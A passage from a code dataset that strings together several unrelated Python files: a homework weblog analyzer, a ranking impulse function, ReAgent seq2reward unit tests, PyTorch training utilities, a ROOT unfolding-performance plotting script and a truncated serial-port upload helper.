covers_alphabet2(sentence):\n return set(sentence.lower()) >= set(\"abcdefghijklmnopqrstuvwxyz\")\n\n\n# PART 3\ndef web_analyzer(weblogs: List[Tuple[str, str]]) -> List[Tuple[str, List[str]]]:\n \"\"\"\n create a summary of the weblogs with each distinct site\n and a sorted list of names of distinct people who visited that site\n \"\"\"\n weblogs = set(weblogs)\n summary: DefaultDict[Any, List] = defaultdict(list)\n name: str\n web: str\n for name, web in weblogs:\n summary[web].append(name)\n\n for key in summary:\n lst = summary[key]\n lst.sort()\n summary[key] = lst\n\n res = []\n for key in summary:\n lst = summary[key]\n tup = (key, lst)\n res.append(tup)\n\n res.sort(key=lambda item: item[0])\n\n return res\n\n\ndef web_analyzer2(weblogs):\n summary = defaultdict(set)\n\n for name, site in weblogs:\n summary[site].add(name)\n\n return [(site, sorted(list(summary[site]))) for site in sorted(summary.keys())]\n# return sorted([(site, sorted(list(summary[site]))) for site in summary.keys()])\n","repo_name":"alvinyoo/SSW810-HWK","sub_path":"HW07/HW07.py","file_name":"HW07.py","file_ext":"py","file_size_in_byte":3127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38092548486","text":"\n\nclass Entity(object):\n def __init__(self, rank=0, impulse=0):\n self.rank = rank\n self.impulse = impulse\n\n def rank(self, other, scores):\n self.impulse = rank(self, other, scores)\n\n\ndef calc_impulse(ranks, scores):\n score_diff = (scores[1] - scores[0])\n rank_diff = (ranks[0] - ranks[1])\n return (rank_diff * score_diff)\n\n# Applied rank to a based on b\ndef rank(a, b, scores):\n impulse = calc_impulse([a.rank, b.rank], scores)\n\n # I have same rank as the other player\n if a.rank == b.rank:\n # I do better than the other player\n if scores[0] > scores[1]:\n return impulse\n # We tie scores\n elif scores[0] == scores[1]:\n return 0\n # I do worse than the other player\n else:\n return -impulse\n elif a.rank > b.rank:\n if scores[0] < scores[1]:\n return -impulse\n else:\n return 0\n else:\n return -rank(b, a, [scores[1], scores[0]])\n","repo_name":"b1naryth1ef/GoPlayNao","sub_path":"app/util/impulse.py","file_name":"impulse.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"75"} +{"seq_id":"31967515329","text":"import logging\nimport os\nimport random\nimport unittest\nfrom typing import Optional\n\nimport numpy as np\nimport pytorch_lightning as pl\nimport torch\nimport torch.nn as nn\nfrom parameterized import parameterized\nfrom reagent.core import types as rlt\nfrom reagent.core.parameters import (\n NormalizationData,\n NormalizationParameters,\n ProblemDomain,\n Seq2RewardTrainerParameters,\n)\nfrom reagent.gym.envs import Gym\nfrom reagent.gym.utils import create_df_from_replay_buffer\nfrom reagent.models.seq2reward_model import Seq2RewardNetwork\nfrom reagent.net_builder.value.fully_connected import FullyConnected\nfrom reagent.prediction.predictor_wrapper import (\n FAKE_STATE_ID_LIST_FEATURES,\n FAKE_STATE_ID_SCORE_LIST_FEATURES,\n Seq2RewardPlanShortSeqWithPreprocessor,\n Seq2RewardWithPreprocessor,\n)\nfrom reagent.preprocessing.identify_types import DO_NOT_PREPROCESS\nfrom reagent.preprocessing.preprocessor import Preprocessor\nfrom reagent.training.utils import gen_permutations\nfrom reagent.training.world_model.compress_model_trainer import CompressModelTrainer\nfrom reagent.training.world_model.seq2reward_trainer import get_Q, Seq2RewardTrainer\nfrom torch.utils.data import DataLoader\n\nlogger = logging.getLogger(__name__)\n\nSEED = 0\nSTRING_GAME_TESTS = [(False,), (True,)]\n\n\nclass FakeStepPredictionNetwork(nn.Module):\n def __init__(self, look_ahead_steps):\n super().__init__()\n self.look_ahead_steps = look_ahead_steps\n\n def forward(self, state: torch.Tensor):\n \"\"\"\n Given the current state, predict the probability of\n experiencing next n steps (1 <=n <= look_ahead_steps)\n\n For the test purpose, it outputs fixed fake numbers\n \"\"\"\n batch_size, _ = state.shape\n return torch.ones(batch_size, self.look_ahead_steps).float()\n\n\nclass FakeSeq2RewardNetwork(nn.Module):\n def forward(\n self,\n state: rlt.FeatureData,\n action: rlt.FeatureData,\n valid_reward_len: Optional[torch.Tensor] = None,\n ):\n \"\"\"\n Mimic I/O of Seq2RewardNetwork but return fake reward\n Reward is the concatenation of action indices, independent\n of state.\n\n For example, when seq_len = 3, batch_size = 1, action_num = 2,\n acc_reward = tensor(\n [[ 0.],\n [ 1.],\n [ 10.],\n [ 11.],\n [100.],\n [101.],\n [110.],\n [111.]]\n )\n\n Input action shape: seq_len, batch_size, num_action\n Output acc_reward shape: batch_size, 1\n \"\"\"\n # pyre-fixme[9]: action has type `FeatureData`; used as `Tensor`.\n action = action.float_features.transpose(0, 1)\n # pyre-fixme[6]: For 1st param expected `Tensor` but got `FeatureData`.\n action_indices = torch.argmax(action, dim=2).tolist()\n acc_reward = torch.tensor(\n list(map(lambda x: float(\"\".join(map(str, x))), action_indices))\n ).reshape(-1, 1)\n logger.info(f\"acc_reward: {acc_reward}\")\n return rlt.Seq2RewardOutput(acc_reward=acc_reward)\n\n\ndef create_string_game_data(\n dataset_size=10000, training_data_ratio=0.9, filter_short_sequence=False\n):\n SEQ_LEN = 6\n NUM_ACTION = 2\n NUM_MDP_PER_BATCH = 5\n\n env = Gym(env_name=\"StringGame-v0\", set_max_steps=SEQ_LEN)\n df = create_df_from_replay_buffer(\n env=env,\n problem_domain=ProblemDomain.DISCRETE_ACTION,\n desired_size=dataset_size,\n multi_steps=None,\n ds=\"2020-10-10\",\n )\n\n if filter_short_sequence:\n batch_size = NUM_MDP_PER_BATCH\n time_diff = torch.ones(SEQ_LEN, batch_size)\n valid_step = SEQ_LEN * torch.ones(batch_size, dtype=torch.int64)[:, None]\n not_terminal = torch.Tensor(\n [0 if i == SEQ_LEN - 1 else 1 for i in range(SEQ_LEN)]\n )\n not_terminal = torch.transpose(not_terminal.tile(NUM_MDP_PER_BATCH, 1), 0, 1)\n else:\n batch_size = NUM_MDP_PER_BATCH * SEQ_LEN\n time_diff = torch.ones(SEQ_LEN, batch_size)\n valid_step = torch.arange(SEQ_LEN, 0, -1).tile(NUM_MDP_PER_BATCH)[:, None]\n not_terminal = torch.transpose(\n torch.tril(torch.ones(SEQ_LEN, SEQ_LEN), diagonal=-1).tile(\n NUM_MDP_PER_BATCH, 1\n ),\n 0,\n 1,\n )\n\n num_batches = int(dataset_size / SEQ_LEN / NUM_MDP_PER_BATCH)\n batches = [None for _ in range(num_batches)]\n batch_count, batch_seq_count = 0, 0\n batch_reward = torch.zeros(SEQ_LEN, batch_size)\n batch_action = torch.zeros(SEQ_LEN, batch_size, NUM_ACTION)\n batch_state = torch.zeros(SEQ_LEN, batch_size, NUM_ACTION)\n for mdp_id in sorted(set(df.mdp_id)):\n mdp = df[df[\"mdp_id\"] == mdp_id].sort_values(\"sequence_number\", ascending=True)\n if len(mdp) != SEQ_LEN:\n continue\n\n all_step_reward = torch.Tensor(list(mdp[\"reward\"]))\n all_step_state = torch.Tensor([list(s.values()) for s in mdp[\"state_features\"]])\n all_step_action = torch.zeros_like(all_step_state)\n all_step_action[torch.arange(SEQ_LEN), [int(a) for a in mdp[\"action\"]]] = 1.0\n\n for j in range(SEQ_LEN):\n if filter_short_sequence and j > 0:\n break\n\n reward = torch.zeros_like(all_step_reward)\n reward[: SEQ_LEN - j] = all_step_reward[-(SEQ_LEN - j) :]\n batch_reward[:, batch_seq_count] = reward\n\n state = torch.zeros_like(all_step_state)\n state[: SEQ_LEN - j] = all_step_state[-(SEQ_LEN - j) :]\n batch_state[:, batch_seq_count] = state\n\n action = torch.zeros_like(all_step_action)\n action[: SEQ_LEN - j] = all_step_action[-(SEQ_LEN - j) :]\n batch_action[:, batch_seq_count] = action\n\n batch_seq_count += 1\n\n if batch_seq_count == batch_size:\n batches[batch_count] = rlt.MemoryNetworkInput(\n reward=batch_reward,\n action=rlt.FeatureData(float_features=batch_action),\n state=rlt.FeatureData(float_features=batch_state),\n next_state=rlt.FeatureData(\n float_features=torch.zeros_like(batch_state)\n ), # fake, not used anyway\n not_terminal=not_terminal,\n time_diff=time_diff,\n valid_step=valid_step,\n step=None,\n )\n batch_count += 1\n batch_seq_count = 0\n batch_reward = torch.zeros_like(batch_reward)\n batch_action = torch.zeros_like(batch_action)\n batch_state = torch.zeros_like(batch_state)\n assert batch_count == num_batches\n\n num_training_batches = int(training_data_ratio * num_batches)\n training_data = DataLoader(\n batches[:num_training_batches], collate_fn=lambda x: x[0]\n )\n eval_data = DataLoader(batches[num_training_batches:], collate_fn=lambda x: x[0])\n return training_data, eval_data\n\n\ndef train_seq2reward_model(training_data, learning_rate=0.01, num_epochs=5):\n SEQ_LEN, batch_size, NUM_ACTION = next(\n iter(training_data)\n ).action.float_features.shape\n assert SEQ_LEN == 6 and NUM_ACTION == 2\n\n seq2reward_network = Seq2RewardNetwork(\n state_dim=NUM_ACTION,\n action_dim=NUM_ACTION,\n num_hiddens=64,\n num_hidden_layers=2,\n )\n\n trainer_param = Seq2RewardTrainerParameters(\n learning_rate=learning_rate,\n multi_steps=SEQ_LEN,\n action_names=[\"0\", \"1\"],\n gamma=1.0,\n view_q_value=True,\n )\n\n trainer = Seq2RewardTrainer(\n seq2reward_network=seq2reward_network, params=trainer_param\n )\n\n pl.seed_everything(SEED)\n pl_trainer = pl.Trainer(max_epochs=num_epochs, deterministic=True)\n pl_trainer.fit(trainer, training_data)\n\n return trainer\n\n\ndef eval_seq2reward_model(eval_data, seq2reward_trainer):\n SEQ_LEN, batch_size, NUM_ACTION = next(iter(eval_data)).action.float_features.shape\n\n initial_state = torch.Tensor([[0, 0]])\n initial_state_q_values = torch.squeeze(\n get_Q(\n seq2reward_trainer.seq2reward_network,\n initial_state,\n seq2reward_trainer.all_permut,\n )\n )\n\n total_mse_loss = 0\n total_q_values = torch.zeros(NUM_ACTION)\n total_action_distribution = torch.zeros(NUM_ACTION)\n for idx, batch in enumerate(eval_data):\n (\n mse_loss,\n _,\n q_values,\n action_distribution,\n ) = seq2reward_trainer.validation_step(batch, idx)\n total_mse_loss += mse_loss\n total_q_values += torch.tensor(q_values)\n total_action_distribution += torch.tensor(action_distribution)\n\n N_eval = len(eval_data)\n eval_mse_loss = total_mse_loss / N_eval\n eval_q_values = total_q_values / N_eval\n eval_action_distribution = total_action_distribution / N_eval\n\n return (\n initial_state_q_values,\n eval_mse_loss,\n eval_q_values,\n eval_action_distribution,\n )\n\n\ndef train_seq2reward_compress_model(\n training_data, seq2reward_network, learning_rate=0.1, num_epochs=5\n):\n SEQ_LEN, batch_size, NUM_ACTION = next(\n iter(training_data)\n ).action.float_features.shape\n assert SEQ_LEN == 6 and NUM_ACTION == 2\n\n compress_net_builder = FullyConnected(sizes=[8, 8])\n state_normalization_data = NormalizationData(\n dense_normalization_parameters={\n 0: NormalizationParameters(feature_type=DO_NOT_PREPROCESS),\n 1: NormalizationParameters(feature_type=DO_NOT_PREPROCESS),\n }\n )\n compress_model_network = compress_net_builder.build_value_network(\n state_normalization_data,\n output_dim=NUM_ACTION,\n )\n\n trainer_param = Seq2RewardTrainerParameters(\n learning_rate=0.0,\n multi_steps=SEQ_LEN,\n action_names=[\"0\", \"1\"],\n compress_model_learning_rate=learning_rate,\n gamma=1.0,\n view_q_value=True,\n )\n\n trainer = CompressModelTrainer(\n compress_model_network=compress_model_network,\n seq2reward_network=seq2reward_network,\n params=trainer_param,\n )\n\n pl.seed_everything(SEED)\n pl_trainer = pl.Trainer(max_epochs=num_epochs, deterministic=True)\n pl_trainer.fit(trainer, training_data)\n\n return trainer\n\n\ndef eval_seq2reward_compress_model(eval_data, compress_model_trainer):\n SEQ_LEN, batch_size, NUM_ACTION = next(iter(eval_data)).action.float_features.shape\n total_mse_loss = 0\n total_q_values = torch.zeros(NUM_ACTION)\n total_action_distribution = torch.zeros(NUM_ACTION)\n for idx, batch in enumerate(eval_data):\n (\n mse_loss,\n q_values,\n action_distribution,\n _,\n ) = compress_model_trainer.validation_step(batch, idx)\n total_mse_loss += mse_loss\n total_q_values += torch.tensor(q_values)\n total_action_distribution += torch.tensor(action_distribution)\n\n N_eval = len(eval_data)\n eval_mse_loss = total_mse_loss / N_eval\n eval_q_values = total_q_values / N_eval\n eval_action_distribution = total_action_distribution / N_eval\n\n return eval_mse_loss, eval_q_values, eval_action_distribution\n\n\nclass TestSeq2Reward(unittest.TestCase):\n def test_seq2reward_with_preprocessor_plan_short_sequence(self):\n self._test_seq2reward_with_preprocessor(plan_short_sequence=True)\n\n def test_seq2reward_with_preprocessor_plan_full_sequence(self):\n self._test_seq2reward_with_preprocessor(plan_short_sequence=False)\n\n def _test_seq2reward_with_preprocessor(self, plan_short_sequence):\n state_dim = 4\n action_dim = 2\n seq_len = 3\n model = FakeSeq2RewardNetwork()\n state_normalization_parameters = {\n i: NormalizationParameters(\n feature_type=DO_NOT_PREPROCESS, mean=0.0, stddev=1.0\n )\n for i in range(1, state_dim)\n }\n state_preprocessor = Preprocessor(state_normalization_parameters, False)\n\n if plan_short_sequence:\n step_prediction_model = FakeStepPredictionNetwork(seq_len)\n model_with_preprocessor = Seq2RewardPlanShortSeqWithPreprocessor(\n model,\n step_prediction_model,\n state_preprocessor,\n seq_len,\n action_dim,\n )\n else:\n model_with_preprocessor = Seq2RewardWithPreprocessor(\n model,\n state_preprocessor,\n seq_len,\n action_dim,\n )\n input_prototype = rlt.ServingFeatureData(\n float_features_with_presence=state_preprocessor.input_prototype(),\n id_list_features=FAKE_STATE_ID_LIST_FEATURES,\n id_score_list_features=FAKE_STATE_ID_SCORE_LIST_FEATURES,\n )\n q_values = model_with_preprocessor(input_prototype)\n if plan_short_sequence:\n # When planning for 1, 2, and 3 steps ahead,\n # the expected q values are respectively:\n # [0, 1], [1, 11], [11, 111]\n # Weighting the expected q values by predicted step\n # probabilities [0.33, 0.33, 0.33], we have [4, 41]\n expected_q_values = torch.tensor([[4.0, 41.0]])\n else:\n expected_q_values = torch.tensor([[11.0, 111.0]])\n assert torch.all(expected_q_values == q_values)\n\n def test_get_Q(self):\n NUM_ACTION = 2\n MULTI_STEPS = 3\n BATCH_SIZE = 2\n STATE_DIM = 4\n all_permut = gen_permutations(MULTI_STEPS, NUM_ACTION)\n seq2reward_network = FakeSeq2RewardNetwork()\n state = torch.zeros(BATCH_SIZE, STATE_DIM)\n q_values = get_Q(seq2reward_network, state, all_permut)\n expected_q_values = torch.tensor([[11.0, 111.0], [11.0, 111.0]])\n logger.info(f\"q_values: {q_values}\")\n assert torch.all(expected_q_values == q_values)\n\n def test_gen_permutations_seq_len_1_action_6(self):\n SEQ_LEN = 1\n NUM_ACTION = 6\n expected_outcome = torch.tensor([[0], [1], [2], [3], [4], [5]])\n self._test_gen_permutations(SEQ_LEN, NUM_ACTION, expected_outcome)\n\n def test_gen_permutations_seq_len_3_num_action_2(self):\n SEQ_LEN = 3\n NUM_ACTION = 2\n expected_outcome = torch.tensor(\n [\n [0, 0, 0],\n [0, 0, 1],\n [0, 1, 0],\n [0, 1, 1],\n [1, 0, 0],\n [1, 0, 1],\n [1, 1, 0],\n [1, 1, 1],\n ]\n )\n self._test_gen_permutations(SEQ_LEN, NUM_ACTION, expected_outcome)\n\n def _test_gen_permutations(self, SEQ_LEN, NUM_ACTION, expected_outcome):\n # expected shape: SEQ_LEN, PERM_NUM, ACTION_DIM\n result = gen_permutations(SEQ_LEN, NUM_ACTION)\n assert result.shape == (SEQ_LEN, NUM_ACTION**SEQ_LEN, NUM_ACTION)\n outcome = torch.argmax(result.transpose(0, 1), dim=-1)\n assert torch.all(outcome == expected_outcome)\n\n @parameterized.expand(STRING_GAME_TESTS)\n @unittest.skipIf(\"SANDCASTLE\" in os.environ, \"Skipping long test on sandcastle.\")\n def test_seq2reward_on_string_game_v0(self, filter_short_sequence):\n np.random.seed(SEED)\n random.seed(SEED)\n torch.manual_seed(SEED)\n training_data, eval_data = create_string_game_data(\n filter_short_sequence=filter_short_sequence\n )\n seq2reward_trainer = train_seq2reward_model(training_data)\n (\n initial_state_q_values,\n eval_mse_loss,\n eval_q_values,\n eval_action_distribution,\n ) = eval_seq2reward_model(eval_data, seq2reward_trainer)\n\n assert abs(initial_state_q_values[0].item() - 10) < 1.0\n assert abs(initial_state_q_values[1].item() - 5) < 1.0\n\n if filter_short_sequence:\n assert eval_mse_loss < 0.1\n else:\n # Same short sequences may have different total rewards due to the missing\n # states and actions in previous steps, so the trained network is not able\n # to reduce the mse loss to values close to zero.\n assert eval_mse_loss < 10\n\n compress_model_trainer = train_seq2reward_compress_model(\n training_data, seq2reward_trainer.seq2reward_network\n )\n (\n compress_eval_mse_loss,\n compress_eval_q_values,\n compress_eval_action_distribution,\n ) = eval_seq2reward_compress_model(eval_data, compress_model_trainer)\n\n assert compress_eval_mse_loss < 1e-5\n assert torch.all(eval_q_values - compress_eval_q_values < 1e-5)\n assert torch.all(\n eval_action_distribution - compress_eval_action_distribution < 1e-5\n )\n","repo_name":"facebookresearch/ReAgent","sub_path":"reagent/test/world_model/test_seq2reward.py","file_name":"test_seq2reward.py","file_ext":"py","file_size_in_byte":16782,"program_lang":"python","lang":"en","doc_type":"code","stars":3467,"dataset":"github-code","pt":"75"} +{"seq_id":"14286196444","text":"#!/usr/bin/env\n# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nimport torch\nimport os, sys\nsys.path.append('..')\nimport time\nimport numpy as np\nfrom functools import reduce\n\ndef count_params(model):\n if issubclass(model.__class__, torch.nn.Module):\n return sum(reduce(lambda x,y: x*y, p.size()) for p in model.parameters() if p.requires_grad)\n else:\n return reduce(lambda x,y: x*y, model.size())\n\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value\"\"\"\n\n def __init__(self):\n self.initialized = False\n self.val = None\n self.avg = None\n self.sum = None\n self.count = None\n\n def initialize(self, val, weight):\n self.val = val\n self.avg = val\n self.sum = np.multiply(val, weight)\n self.count = weight\n self.initialized = True\n\n def update(self, val, weight=1):\n if not self.initialized:\n self.initialize(val, weight)\n else:\n self.add(val, weight)\n\n def add(self, val, weight):\n self.val = val\n self.sum = np.add(self.sum, np.multiply(val, weight))\n self.count = self.count + weight\n self.avg = self.sum / self.count\n\n @property\n def value(self):\n return self.val\n\n @property\n def average(self):\n return np.round(self.avg, 5)\n\n\nclass LossTracker:\n def __init__(self, loss_names):\n if \"total_loss\" not in loss_names:\n loss_names.append(\"total_loss\")\n self.losses = {key: 0 for key in loss_names}\n self.loss_weights = {key: 1 for key in loss_names}\n\n def weight_the_losses(self, exclude_loss=(\"total_loss\")):\n for k, _ in self.losses.items():\n if k not in exclude_loss:\n self.losses[k] *= self.loss_weights[k]\n\n def get_total_loss(self, exclude_loss=(\"total_loss\")):\n self.losses[\"total_loss\"] = 0\n for k, v in self.losses.items():\n if k not in exclude_loss:\n self.losses[\"total_loss\"] += v\n\n def set_loss_weights(self, loss_weight_dict):\n for k, _ in self.losses.items():\n if k in loss_weight_dict:\n w = loss_weight_dict[k]\n else:\n w = 1.0\n self.loss_weights[k] = w\n\n def update(self, loss_weight_dict):\n self.set_loss_weights(loss_weight_dict)\n self.weight_the_losses()\n self.get_total_loss()\n\n\n \n","repo_name":"yovela2001/Multi-Ultrasound","sub_path":"utils/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28246836529","text":"#! /usr/bin/env python\n\n\n#\n# Argument parser and logging\n#\nimport os, argparse, numpy\nargParser = argparse.ArgumentParser(description = \"Argument parser\")\nargParser.add_argument('--logLevel', action='store', default='INFO', help='Log level for logging', nargs='?', choices=['CRITICAL', 'ERROR', 'WARNING', 'INFO', 'DEBUG', 'TRACE'])\nargParser.add_argument('--year', action='store', default=None, help='Only run for a specific year', choices=['2016', '2017', '2018'])\nargs = argParser.parse_args()\n\nimport ROOT\nROOT.gROOT.SetBatch(True)\nROOT.TH1.SetDefaultSumw2()\nROOT.TH2.SetDefaultSumw2()\n\nfrom ttg.plots.plot import Plot, xAxisLabels, fillPlots, addPlots, customLabelSize, copySystPlots\nfrom ttg.plots.plot2D import Plot2D, add2DPlots, normalizeAlong, equalBinning\nfrom ttg.plots.cutInterpreter import cutStringAndFunctions\nfrom ttg.samples.Sample import createStack\nfrom ttg.tools.style import drawLumi\nfrom ttg.tools.helpers import editInfo, plotDir, updateGitInfo, deltaPhi, deltaR\nfrom ttg.samples.Sample import createSampleList, getSampleFromList\nimport copy\nimport pickle\nfrom math import pi\n\nROOT.gStyle.SetOptStat(0)\n\n\n\nfrom ttg.tools.logger import getLogger\nlog = getLogger(args.logLevel)\n\n\nfrom ttg.plots.plotHelpers import *\n\n\n\n\n# labels = {\n# 'unfReco_phPt' : ('reco p_{T}(#gamma) (GeV)', 'gen p_{T}(#gamma) (GeV)'),\n# 'unfReco_phLepDeltaR' : ('reco #DeltaR(#gamma, l)', 'gen #DeltaR(#gamma, l)'),\n# 'unfReco_ll_deltaPhi' : ('reco #Delta#phi(ll)', 'gen #Delta#phi(ll)'),\n# 'unfReco_jetLepDeltaR' : ('reco #DeltaR(#gamma, j)', 'gen #DeltaR(#gamma, j)'),\n# 'unfReco_jetPt' : ('reco p_{T}(j1) (GeV)', 'gen p_{T}(j1) (GeV)'),\n# 'unfReco_ll_absDeltaEta' : ('reco |#Delta#eta(ll)|', 'gen |#Delta#eta(ll)|'),\n# 'unfReco_phBJetDeltaR' : ('reco #DeltaR(#gamma, b)', 'gen #DeltaR(#gamma, b)'),\n# 'unfReco_phAbsEta' : ('reco |#eta|(#gamma)', 'gen |#eta|(#gamma)')\n# }\n\n# plotList = ['perf_unfReco_phPt',\n# 'perf_unfReco_jetPt',\n# 'perf_unfReco_jetLepDeltaR',\n# 'perf_unfReco_phLepDeltaR',\n# 'perf_unfReco_phBJetDeltaR',\n# 'perf_unfReco_ll_absDeltaEta',\n# 'perf_unfReco_ll_deltaPhi',\n# 'perf_unfReco_phAbsEta']\n\nlabels = {\n 'unfReco_phPt' : ('reco p_{T}(#gamma) (GeV)', 'gen p_{T}(#gamma) (GeV)'),\n 'unfReco_phLepDeltaR' : ('reco #DeltaR(#gamma, l)', 'gen #DeltaR(#gamma, l)'),\n 'unfReco_ll_deltaPhi' : ('reco #Delta#phi(ll)', 'gen #Delta#phi(ll)'),\n 'unfReco_jetLepDeltaR' : ('reco #DeltaR(l, j)', 'gen #DeltaR(l, j)'),\n 'unfReco_jetPt' : ('reco p_{T}(j1) (GeV)', 'gen p_{T}(j1) (GeV)'),\n 'unfReco_ll_absDeltaEta' : ('reco |#Delta#eta(ll)|', 'gen |#Delta#eta(ll)|'),\n 'unfReco_phBJetDeltaR' : ('reco #DeltaR(#gamma, b)', 'gen #DeltaR(#gamma, b)'),\n 'unfReco_phAbsEta' : ('reco |#eta|(#gamma)', 'gen |#eta|(#gamma)'),\n 'unfReco_phLep1DeltaR' : ('reco #DeltaR(#gamma, l1)', 'gen #DeltaR(#gamma, l1)'),\n 'unfReco_phLep2DeltaR' : ('reco #DeltaR(#gamma, l2)', 'gen #DeltaR(#gamma, l2)'),\n 'unfReco_Z_pt' : ('reco p_{T}(ll) (GeV)', 'gen p_{T}(ll) (GeV)'),\n 'unfReco_l1l2_ptsum' : ('reco p_{T}(l1)+p_{T}(l2) (GeV)', 'gen p_{T}(l1)+p_{T}(l2) (GeV)')\n }\n\nplotList = [\n 'perf_unfReco_jetLepDeltaR',\n 'perf_unfReco_jetPt',\n 'perf_unfReco_ll_absDeltaEta',\n # 'perf_unfReco_ll_cosTheta',\n 'perf_unfReco_ll_deltaPhi',\n 'perf_unfReco_phAbsEta',\n 'perf_unfReco_phBJetDeltaR',\n 'perf_unfReco_phLepDeltaR',\n 'perf_unfReco_phPt',\n 'perf_unfReco_phLep1DeltaR',\n 'perf_unfReco_phLep2DeltaR',\n 'perf_unfReco_Z_pt',\n 'perf_unfReco_l1l2_ptsum'\n ]\n\n\ndef getBinning(a):\n return numpy.linspace(a[1],a[2],a[0]-1)\n\nfor plot in plotList:\n perf = pickle.load(open('/storage_mnt/storage/user/gmestdac/public_html/ttG/' + args.year + '/unfJanNew/noData/placeholderSelection/' + plot + '.pkl'))[plot]['TTGamma_DilPCUTt#bar{t}#gamma (genuine)']\n outMig = pickle.load(open('/storage_mnt/storage/user/gmestdac/public_html/ttG/' + args.year + '/unfJanNew/noData/placeholderSelection/' + plot.replace('perf', 'out') + '.pkl'))[plot.replace('perf', 'out')]['TTGamma_DilPCUTt#bar{t}#gamma (genuine)']\n totRec = pickle.load(open('/storage_mnt/storage/user/gmestdac/public_html/ttG/' + args.year + '/unfJanNew/noData/placeholderSelection/' + plot.replace('perf', 'rec') + '.pkl'))[plot.replace('perf', 'rec')]['TTGamma_DilPCUTt#bar{t}#gamma (genuine)']\n reco = perf.ProjectionX(\"reco\",1, perf.GetXaxis().GetNbins()) # pl not including over/underflows, but they should be empty anyway\n pl = perf.ProjectionY(\"pl\",0, perf.GetXaxis().GetNbins()) # reco underflow bins = events failing reco. Included in this sum\n pl.SetBinContent(0, 0.)\n pl.SetBinError(0, 0.)\n diag = pl.Clone( \"efficiency\")\n diag.Reset(\"ICES\")\n for i in range(0, pl.GetXaxis().GetNbins()+1):\n diag.SetBinContent(i, perf.GetBinContent(i,i))\n diag.SetBinError(i, perf.GetBinError(i,i))\n\n\n # NOTE do not change the order\n # purity = ROOT.TEfficiency(diag, reco)\n purity = diag.Clone()\n purity.Divide(reco)\n reco.SetBinContent(0,0.)\n # efficiency = ROOT.TEfficiency(reco, pl)\n efficiency = diag.Clone()\n efficiency.Divide(pl)\n\n\n canv = ROOT.TCanvas()\n efficiency.GetYaxis().SetRangeUser(0.,1.2)\n efficiency.SetLineColor(ROOT.kBlue)\n efficiency.GetXaxis().SetTitle(labels[plot.replace('perf_','')][0])\n efficiency.GetYaxis().SetTitle('ratio')\n efficiency.SetTitle('')\n\n efficiency.Draw('')\n purity.SetLineColor(ROOT.kRed)\n purity.Draw('same')\n outMig.Divide(totRec)\n outMig.SetLineColor(418)\n outMig.Draw('same')\n\n legend = ROOT.TLegend(0.15,0.83,0.89,0.89)\n legend.SetNColumns(3)\n legend.AddEntry(efficiency,\"efficiency\",\"l\")\n legend.AddEntry(purity,\"purity\",\"l\")\n legend.AddEntry(outMig,\"f_out\",\"l\")\n legend.SetBorderSize(0)\n legend.Draw()\n\n canv.SaveAs('performance/'+ plot + '_' + args.year +'.pdf')\n\n fid = pickle.load(open('/storage_mnt/storage/user/gmestdac/public_html/ttG/' + args.year + '/unfJanNew/noData/placeholderSelection/' + plot.replace('perf', 'fid') + '.pkl'))[plot.replace('perf', 'fid')]['TTGamma_DilPCUTt#bar{t}#gamma (genuine)']\n log.info(plot + ' efficiency: ' + str(diag.Integral()/fid.Integral()))\n\n # for histo, plotName, ymax in [(efficiency, 'eff',0.5), (purity, 'pur',1.0)]:\n # for histo, plotName, ymax in [(stability, 'stab',0.5), (purity, 'pur',1.0)]:\n\n # ROOT.gPad.Update(); \n # graph = efficiency.GetPaintedGraph(); \n # graph.SetMinimum(0);\n # graph.SetMaximum(1); \n # ROOT.gPad.Update(); \n\n # Outside migration plots\n # TODO make clones\n # TODO update to naming based on loop\n # out = [i for i in plotListOut if i.name==binning[0].replace('response','out')][0].histos.values()[0].Clone()\n # rec = [i for i in plotListRec if i.name==binning[0].replace('response','rec')][0].histos.values()[0].Clone()\n # out.Divide(rec)\n # for i in range(0, out.GetXaxis().GetNbins()+1):\n # out.SetBinContent(i, 1. - out.GetBinContent(i))\n # canv = ROOT.TCanvas()\n # out.GetYaxis().SetRangeUser(0., 1.0)\n # out.Draw('E1')\n # canv.SaveAs('performance/out'+ binning[0].replace('response_','') +'.pdf')\n","repo_name":"GhentAnalysis/ttg","sub_path":"unfolding/oldUnfolders/makePerf.py","file_name":"makePerf.py","file_ext":"py","file_size_in_byte":7507,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"40101876274","text":"#!/usr/bin/env python\n'''\nVarious commands on serial port\n\ndepends on serial.tools (pySerial)\npip install pyserial\n'''\n\nimport os\nimport re\nimport argparse\nfrom serial.tools import list_ports\n\nparser = argparse.ArgumentParser(description='Handle serial port(s)', formatter_class=argparse.ArgumentDefaultsHelpFormatter)\nparser.add_argument('-i', '--info', action='store_true', help='Show info concerning flash')\nparser.add_argument('--fuse', action='store_true', help='Show fuse info')\nparser.add_argument('-f', '--format', action='store_true', help='Format flash before uploading. Erases SPIFFS too!')\nparser.add_argument('-l', '--list', action='store_true', help='Show available ports and its port number. LOCATION=20-2 means port 2')\nparser.add_argument('-u', '--upload', action='store_true', help='Upload code to port')\nparser.add_argument('-m', '--monitor', action='store_true', help='Open monitor to port')\nparser.add_argument('-p', '--port', type=str, default='', help='give port number directly (eg 2) instead of selection')\n\nargs = parser.parse_args()\n\nports = {}\nfor port in list_ports.comports():\n if 'USB' in port.description:\n desc = '{port.device} | {port.hwid}'.format(port=port)\n port_number = re.sub(r'^.*-(\\d)$', r'\\1', port.hwid)\n # get the 1st port (quickfix for wchusbserial1430 vs husbserial-1430\n if re.search(r'\\.wchusb', desc):\n ports[port_number] = desc\n if args.list:\n print(desc)\n\nif (len(ports) == 0):\n print('Sorry, no ports found')\n exit(0)\n\nif args.list:\n exit(0)\n\nselectedport = ''\nif args.port:\n selectedport = ports[args.port]\nelse:\n if (len(ports) == 1):\n selectedport = list(ports.values())[0]\n else:\n print('Please enter your port for uploading:')\n for c, port in ports.iteritems():\n print('{c}) {port}'.format(c=c, port=port))\n\n var = ''\n # while (not re.match('^\\d+$', var) or int(var) > (len(ports)) or int(var) < 1):\n while (var not in ports):\n var = input('Your choice: ')\n\n selectedport = ports[var]\n\nport 